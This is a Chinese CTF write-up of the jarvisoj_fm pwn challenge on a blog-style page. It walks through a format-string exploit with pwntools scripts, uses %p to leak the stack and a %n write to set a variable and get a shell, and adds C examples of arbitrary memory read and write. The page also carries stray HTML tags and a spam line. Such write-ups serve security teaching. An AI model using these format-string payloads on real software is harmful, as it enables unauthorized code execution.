<menu id="guoca"></menu>
<nav id="guoca"></nav><xmp id="guoca">
  • <xmp id="guoca">
  • <nav id="guoca"><code id="guoca"></code></nav>
  • <nav id="guoca"><code id="guoca"></code></nav>

    一道pwn題解析之jarvisoj_fm

    VSole2023-02-01 09:49:59

    在該程序中只需要判斷x=4即可獲得系統shell。

    查看發現x的值為3,同時得到x的地址為0x804A02C

    在printf函數中的參數可控 于是可能存在格式化字符漏洞,利用字符串漏洞重寫x的值。

    輸入的字符串會存儲進入棧內,然后printf函數使用輸入的內容作為格式化字符串進行控制輸出。

    輸入多個%p打印棧上的內容判斷輸入的數據在棧上離棧頂的偏移。

    構造如下AAAA-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p

    from pwn import *


    p=remote("node4.buuoj.cn",27668)adrr=p32(0x0804A02C)PAYLOAD=b"AAAA-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p"p.sendline(PAYLOAD)
    

    p.interactive()

    可以計算該偏移量為11。

    設計payload如下:

    “%4c%n”,65,0x0804A02C //打印4個字符,并將輸出的字符數4根據%n格式控制字符串寫入0x0804A02C,由于輸入的字符串需要存入棧中如下。

    故在printf函數提取參數時構造的payload如下:

    %4c%13$n0x0804A02C //其中%13$n為將默認的第13個格式化字符串的內容作為格式控制字符串%n的參數。

    構造payload

    from pwn import *


    p=remote("node4.buuoj.cn",27668)adrr=p32(0x0804A02C)payload=b"%4c%13$n"p.sendline(payload+adrr)
    

    p.interactive()

    flag{0b8c0e45-ff89-49f3-b6b5-d3edb10d8ec5}

    格式化字符串漏洞

    漏洞原理:

    格式化字符串是一種很常見的漏洞,其產生根源是printf函數設計的缺陷,即printf()函數并不能確定數據參數arg1,arg2…究竟在什么地方結束,也就是說,它不知道參數的個數。它只會根據format中的打印格式的數目依次打印堆棧中參數format后面地址的內容。

    格式字符串漏洞發生的條件就是格式字符串要求的參數和實際提供的參數不匹配。


    printf("格式化字符串1,格式化字符串2",參數1,參數2...)%d - 十進制 - 打印十進制整數%s - 字符串 - 打印參數地址處的字符串%x,%X- 十六進制 - 打印十六進制數%o - 八進制 -打印八進制整形%c - 字符 - 打印字符%p - 指針 - 打印指針地址 即void *%n - 到目前為止所寫的字符數%<正整數n>c 打印寬度為n的字符串(打印長度為n)
    

    漏洞利用原理:

    利用格式化字符串與參數的數量不匹配時編譯依舊能夠通過,并且當滿足格式化字符串的格式要求時按格式化字符串定義對棧上空間內容的控制以至于控制內存空間,從而控制程序。

    特別要注意的是%n這個格式化字符串,它的功能是將%n之前打印出來的字符個數(四字節)寫入參數地址處(賦值給一個變量)。

    32位的程序,%n取的就是4字節指針,64位取的就是8字節指針。

    %hn 寫入兩個字節

    %hhn 寫入一個字節

    例:

    printf("%1234c%hhn",65,0x41414141);
    

    因為1234=0x4D2,所以會往地址0x41414141處寫入0x4D2(1字節)

    內存結構

    Win32系統中,進程使用的內存按功能可以分4個區域。

    棧區:該區域內存由系統自動分配,用于動態存儲函數之間的調用關系。

    堆區:該區域內存由進程利用相關函數或運算符動態申請,用完后釋放并歸還給堆區。例如,C語言中用malloc/free函數,C++語言中用new/delete運算符申請的空間就在堆區。

    代碼區:存放程序匯編后的機器代碼和只讀數據。

    數據區:用于存儲全局變量和靜態變量。

    漏洞可能造成影響

    程序崩潰

    當程序存在格式化字符串漏洞時,通過大量的%s可引起程序崩潰,造成拒絕服務的結果。

    Printf()函數的格式化用法如下:

    printf("格式化字符串1,格式化字符串2",參數1,參數2...)

    其中部分輸出控制符如下:

    %d - 十進制 - 打印十進制整數

    %s - 字符串 - 打印參數地址處的字符串

    %x,%X- 十六進制 - 打印十六進制數

    %o - 八進制 -打印八進制整形

    %c - 字符 - 打印字符

    %p - 指針 - 打印指針地址 即void *

    %n - 到目前為止所寫的字符數

    %<正整數n>c 打印寬度為n的字符串(打印長度為n)

    在函數中當格式化字符串個數與參數個數不相等時,超出的部分將會按照輸出控制的控制字符串的含義執行數據,其中是將棧頂當做第一個超出的輸出控制符對應的參數,依次從棧頂向棧低對應超出的參數。


    #include "stdafx.h"int main(int argc, char* argv[]){int a=1;int b=2;printf("%s%s");return 0;}
    


    #include "stdafx.h"int main(int argc, char* argv[]){int a=1;int b=2;printf("%s%s%s%s");return 0;}
    

    查看任意地址的內容

    在上述使程序崩潰的過程中我們使用了%s來打印棧空間內容作為地址的字符串,當控制棧空間上的內容為指向一個我們想要去查看內容的地址時,即可用%s進行查看。

    如下


    #include "stdafx.h"int main(int argc, char* argv[]){int a=0x0012ff74; //該值為字符串變量x在棧上的地址int b=2;char x='h';printf("%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%s");return 0;}
    


    通過控制%s指向我們需要打印的內存空間的地址即可將其進行打印出來。其中重要的是找到存儲任意內存地址在棧上與棧頂的偏移數量。確定偏移可以通過下方的泄漏棧空間內容的方法進行確定。

    泄漏棧空間內容

    Eg:#include "stdafx.h"int main(int argc, char* argv[]){int a=1;int b=2;printf("%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p",a,b);return 0;}
    

    在printf函數中,當參數個數與格式化字符串不匹配時,將會從棧頂位置向棧底開始打印,將棧內的內容按照格式化字符串的要求打印出來,%p即是打印指針的地址,當存在參數a,和b時,即是打印a,和b所指向的空間的內容,超出部分默認將棧頂當做參數,打印其指向的棧頂地址的內容。

    通過printf函數中控制%p的個數即可以泄漏棧的全部內容。

    向任意地址寫內容

    在printf函數中我們知道存在一個格式化字符串會向內存中寫入數據,即是使用%n

    它的功能是將%n之前打印出來的字符個數(四字節)寫入參數地址處(賦值給一個變量)。在32位程序中需要的這個地址即是32位,在64位中地址需要為64位。


    #include "stdafx.h"int main(int argc, char* argv[]){int a=0x0012ff74;int b=2;char x='h';printf("%10c%n",x,0x0012ff70);return 0;}
    


    字符串函數printf
    本作品采用《CC 協議》,轉載必須注明作者和本文鏈接
    可以看到有兩個printf函數打印了一些數據出來,我們點第一個打印的字符串
    在我們學習c語言的時候我們就知道在輸出或者輸入的時候需要使用%s%d等等格式化字符,此處不過多介紹,詳情可以去看看c語言的基礎知識。
    棧與棧幀的調試
    2022-03-06 16:24:19
    再次執行pop EAX,ESP的值增加4個字節,變為0012FFC4。OD狀態變成最開始的狀態。
    mysql提權總結
    2021-09-17 15:04:08
    使用過MySQL的人都知道,MySQL有很多內置函數提供給使用者,包括字符串函數、數值函數、日期和時間函數等,給開發人員和使用者帶來了很多方便。
    我們現在一般做題題目是給出很大的一塊空間供我們寫入棧溢出的ROP鏈的,但是當題目限制輸入的空間比如說幾個字節呢,只能覆蓋到ebp,ret_addr,這個時候就需要棧遷移這樣的騷操作了,接下來我將用很通俗的語言帶你們深入理解棧遷移。
    開放虛擬機格式(Open Virtual Machine Format,OVF)是一種虛擬機分配格式,能夠支持不同產品與組織之間共享虛擬機。 VMware OVF Tool是由VMware免費提供的一款支持虛擬的導入導出工具,支持以命令提示符的方式運行。
    上一篇文章介紹了xorstr的原理和最小化驗證概念的代碼,這篇文章來看下這種已經被廣泛應用于各惡意樣本以及安全組件中的技術如何還原,如果還沒看上篇建議先看下了解其實現后再看本篇文章。
    這次分析了CVE-2012-3569 ovftool.exe中的格式化字符串漏洞。之前使用示例程序詳細分析過應該怎樣利用格式化字符串漏洞(參考資料2),而針對該漏洞,《漏洞戰爭》中并沒有進行詳細分析,因此我幾乎是從頭到尾按照自己的思路獨立完成了這個漏洞的分析以及利用,其中漏洞利用部分又占據了比較大的篇幅,因此對于格式化字符串漏洞在實際中的利用方式有了更深刻的了解。
    在該程序中只需要判斷x=4即可獲得系統shell。查看發現x的值為3,同時得到x的地址為0x804A02C在printf函數中的參數可控 于是可能存在格式化字符漏洞,利用字符串漏洞重寫x的值。輸入的字符串會存儲進入棧內,然后printf函數使用輸入的內容作為格式化字符串進行控制輸出。輸入多個%p打印棧上的內容判斷輸入的數據在棧上離棧頂的偏移。構造如下AAAA-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%pfrom pwn import *p=remoteadrr=p32PAYLOAD=b"AAAA-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p"p.sendline. p.interactive()可以計算該偏移量為11。
    一個最簡單的linux kernel rootkit就是一個linux kernel module。
    VSole
    網絡安全專家
      亚洲 欧美 自拍 唯美 另类